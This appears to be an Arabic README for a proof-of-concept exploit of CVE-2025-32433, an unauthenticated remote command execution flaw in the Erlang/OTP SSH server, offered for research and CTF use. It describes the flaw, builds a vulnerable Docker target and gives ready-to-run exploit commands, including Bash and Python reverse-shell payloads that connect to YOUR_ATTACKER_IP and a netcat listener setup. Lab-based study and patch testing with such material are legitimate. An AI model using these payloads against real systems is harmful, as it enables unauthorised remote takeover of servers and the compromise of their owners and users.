
إثبات مفهوم لاستغلال الثغرة CVE-2025-32433، مما يتيح تنفيذ الأوامر عن بُعد بدون مصادقة في Erlang/OTP SSH. يتضمن إعداد Docker وحمولات الصدفة العكسية لأغراض البحث الأمني وتحديات CTF.
يحتوي هذا المستودع على إثبات مفهوم (PoC) للثغرة CVE-2025-32433، وهي ثغرة حرجة غير مصادق عليها لتنفيذ الأوامر عن بُعد (RCE) تؤثر على تطبيق خادم SSH في Erlang/Open Telecom Platform (OTP). صُمم هذا الإثبات للأغراض التعليمية، وبحوث الأمان، وتحديات Capture The Flag (CTF).
⚠️ إخلاء مسؤولية - للاستخدام التعليمي والأخلاقي فقط ⚠️
يُقدّم هذا الإثبات بدقة للأغراض التعليمية والأخلاقية في الاختراق. مخصص للاستخدام في بيئات خاضعة للرقابة، مثل الآلات الافتراضية المنعزلة أو منصات CTF، حيث يكون لديك إذن صريح لإجراء اختبار أمني.
لا تستخدم هذا الإثبات ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره. الوصول غير المصرح به أو استغلال أنظمة الحاسوب غير قانوني وغير أخلاقي. المؤلف والمشرفون على هذا المستودع غير مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذا الكود.
| الخاصية | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-32433 |
| نوع الثغرة | تنفيذ أوامر عن بُعد غير مصادق عليه (RCE) |
| درجة CVSS v3.1 | 10.0 (حرجة) |
| البرنامج المتأثر | خادم SSH في Erlang/OTP (ssh) |
| الإصدارات المتأثرة | OTP-27.3.2 وما قبلهOTP-26.2.5.10 وما قبلهOTP-25.3.2.19 وما قبلهالإصدارات من OTP 17.0 فما فوق |
| الإصدارات المُصحّحة | OTP-27.3.3، OTP-26.2.5.11، OTP-25.3.2.20 |
تكمُن الثغرة في كيفية معالجة خادم SSH في Erlang/OTP لرسائل بروتوكول SSH خلال مرحلة ما قبل المصادقة. على وجه التحديد، يفشل الخادم في تطبيق تسلسل بروتوكول SSH بشكل صحيح، مما يسمح لمهاجم عن بُعد غير مصادق بإرسال رسائل SSH_MSG_CHANNEL_OPEN وSSH_MSG_CHANNEL_REQUEST مُعدّلة. يتيح ذلك للمهاجم فتح قناة جلسة وتنفيذ أوامر Erlang اعتباطية (والتي يمكنها بدورها تنفيذ أوامر النظام) دون تقديم بيانات اعتماد صالحة. إذا كان خادم SSH يعمل بصلاحيات مرتفعة (مثل root)، فقد يؤدي الاستغلال الناجح إلى اختراق كامل للنظام.
أسهل طريقة لإعداد خادم SSH لـ Erlang/OTP ضعيف هي باستخدام ملف Dockerfile المُرفق.
استنساخ هذا المستودع:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
بناء صورة Docker:
يقوم هذا الأمر بتجميع نسخة ضعيفة من Erlang/OTP (OTP-26.2.5.10) وتكوين خادم SSH.
docker build -t erlang-ssh-vulnerable .
تشغيل حاوية الخادم الضعيفة:
يؤدي هذا الأمر إلى بدء خادم SSH لـ Erlang/OTP في الخلفية، ليستمع على المنفذ 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: تشغيل الحاوية في وضع منفصل.--name erlang-ssh-target: تعيين اسم للحاوية لسهولة الإدارة.-p 2222:2222: ربط المنفذ 2222 للمضيف بالمنفذ 2222 للحاوية.التحقق من أن الحاوية تعمل:
يمكن تشغيل السكريبت cve_2025_32433_exploit.py إما بشكل تفاعلي أو باستخدام وسائط سطر الأوامر.
إذا قمت بتشغيل السكريبت بدون وسائط، فسيطلب منك المعلومات اللازمة.
python3 cve_2025_32433_exploit.py
127.0.0.1 إذا كنت تستهدف Docker على نفس المضيف).2222).هذا هو السلوك الافتراضي إذا تركت حقل الأمر فارغاً في الوضع التفاعلي. يقوم بإنشاء ملف /tmp/note.txt على الهدف.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!للحصول على شل عكسي، يجب توفير حمولة تتصل بمستمع على جهازك.
ابدأ مستمع Netcat على جهازك المُهاجم (مثلاً Kali Linux) على المنفذ الذي اخترته.
nc -lvnp 4444
مهم: تأكد من أن جدار الحماية (مثل
ufw) على جهازك المُهاجم يسمح بالاتصالات الواردة على هذا المنفذ.sudo ufw allow 4444/tcp
قم بتشغيل سكريبت PoC مع حمولة الشل العكسي. استبدل YOUR_ATTACKER_IP بعنوان IP لجهازك.
شل عكسي Bash:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
شل عكسي Python (غالباً أكثر موثوقية):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
تحقق من مستمع Netcat. يجب أن تستقبل اتصالاً وتحصل على شل في الحاوية المستهدفة.
لإيقاف وإزالة حاوية وصورة Docker:
# إيقاف وإزالة الحاوية
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# اختياري: إزالة الصورة أيضاً
docker rmi erlang-ssh-vulnerable
docker ps